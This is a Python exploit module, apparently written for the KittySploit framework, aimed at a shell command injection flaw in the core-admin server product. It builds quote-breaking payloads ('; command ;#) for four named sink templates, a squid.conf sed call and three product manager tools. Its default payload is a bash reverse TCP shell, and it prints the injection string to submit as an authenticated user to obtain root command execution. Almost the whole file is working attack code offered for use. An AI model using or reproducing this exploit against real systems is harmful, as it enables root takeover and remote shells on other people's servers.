core-admin escape_param shell injection (bytecode sink)

"""core-admin — Systemic Shell Command Injection via Ineffective Quote Escaping → Authenticated Root RCE"""
from __future__ import annotations
from kittysploit import *
import sys, os, types
import re
import json
import os
import sys, os, types

class Module(Exploit):
    __info__ = {'name': 'core-admin escape_param shell injection (bytecode sink)', 'description': 'Loads product security.pyc/command.pyc to craft shell metacharacters for configured sink templates (local bytecode lab; use product UI/API on target).', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['core-admin', 'aspl', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 0, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/coreadmin_escape_param_injection_detect']}}}
    USAGE = '[!] Usage: python3 coreadmin_escape_param_injection.py <PYC_DIR> [CMD] [--marker PATH] [--sink E1|E9|E15|E19]\n    PYC_DIR  directory containing security.pyc + command.pyc (REAL product bytecode)\n    CMD      command to execute as root (default id)\n    --marker path of the marker file (default /tmp/coreadmin_vuln001_marker)\n    --sink   target sink: E1 (sed localnets, default) / E9 (log-watcher) / E15 (prestashop) / E19 (webhosting)\n'
    SINKS = {'E1': ('internet_access_manager:2637 proxy_localnets', "sed -i 's@^acl localnet src .*@acl localnet src %s@g' /etc/squid/squid.conf", 'proxy_localnets'), 'E9': ('log_watcher_conf:2158 file', "crad-log-watcher.pyc -m '%s' 'Path added by admin from 1.2.3.4'", 'file'), 'E15': ('prestashop_manager:150 folder', "crad-prestashop-mgr.pyc --list-users '%s' --json", 'folder'), 'E19': ('webhosting_management:16035 bot_name', "crad-webhosting-mgr --allow-bot='%s'", 'bot_name')}
    port = OptPort(8080, 'core-admin UI port (reference)', required=False)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    pyc_dir = OptString('', 'Directory with security.pyc and command.pyc', required=True)
    sink_id = OptString('E1', 'Sink id (E1/E9/E15/E19)', required=False)
    marker_path = OptString('/tmp/coreadmin_vuln001_marker', 'Marker file for PoC cmd', required=False)

    def make_stub(self, name):
        m = types.ModuleType(name)
        sys.modules[name] = m
        return m

    def load_real_pyc(self, pyc_dir):
        """Load REAL product .pyc bytecode, stubbing sibling imports to avoid the vortex/turbulence cascade."""
        notify = self.make_stub('notify')
        machine = self.make_stub('machine')
        support = self.make_stub('support')
        check = self.make_stub('check')
        _params = self.make_stub('_params')
        support.is_base64 = lambda obj: False
        _params.escape_param = lambda value, kind: value
        pkg_common = types.ModuleType('core_admin_common')
        pkg_common.__path__ = []
        sys.modules['core_admin_common'] = pkg_common
        pkg_common._params = _params
        pkg_common.support = support
        pkg_common.check = check
        sys.modules['core_admin_common._params'] = _params
        sys.modules['core_admin_common.support'] = support
        sys.modules['core_admin_common.check'] = check
        pkg_server = types.ModuleType('core_admin_server')
        pkg_server.__path__ = []
        sys.modules['core_admin_server'] = pkg_server
        pkg_server.notify = notify
        pkg_server.machine = machine
        sys.modules['core_admin_server.notify'] = notify
        sys.modules['core_admin_server.machine'] = machine

        class TbcStub(object):

            def error(self, *a, **k):
                pass

            def debug(self, *a, **k):
                pass
        if imp is None:
            sys.exit('[!] this PoC requires the imp module (Python < 3.12) to load .pyc bytecode')

        def load_pyc(modname, pkg, filename):
            full = pkg + '.' + modname
            path = os.path.join(pyc_dir, filename)
            if not os.path.exists(path):
                sys.exit('[!] cannot find %s - provide the correct PYC_DIR' % path)
            m = imp.load_compiled(full, path)
            sys.modules[full] = m
            setattr(sys.modules[pkg], modname, m)
            return m
        security = load_pyc('security', 'core_admin_server', 'security.pyc')
        command = load_pyc('command', 'core_admin_common', 'command.pyc')
        return (security, command, TbcStub)

    def remove_enters(self, value):
        """Replicates internet_access_manager.py:4421 remove_enters (strips newlines only)."""
        return value.replace('\r\n', ' ').replace('\n', ' ')

    def execute(self, shell: str) -> str:
        pyc = str(self.pyc_dir or '').strip()
        if not pyc:
            return 'Set pyc_dir to product bytecode extract'
        sid = str(self.sink_id or 'E1')
        if sid not in self.SINKS:
            return f'Unknown sink {sid!r}'
        _label, fmt, field = self.SINKS[sid]
        malicious = "';" + shell + ';#'
        try:
            self.load_real_pyc(pyc)
        except SystemExit as exc:
            return str(exc)
        except Exception as exc:
            return f'pyc load failed: {exc}'
        cmd_line = fmt % malicious
        return f'Inject into field {field!r}: {malicious!r} → shell command: {cmd_line!r} (submit via authenticated core-admin UI/API on target)'

    def check(self):
        pyc = str(self.pyc_dir or '').strip()
        if pyc and os.path.isdir(pyc):
            return {'vulnerable': True, 'reason': 'pyc_dir present', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Set pyc_dir with product bytecode', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.pyc_dir or '').strip():
            print_error('Set pyc_dir')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Not ready'))
            self.not_vulnerable()
            return False
        print_status('Craft sink injection payload')
        print_info(self.execute(shell))
        self.vulnerable()
        return True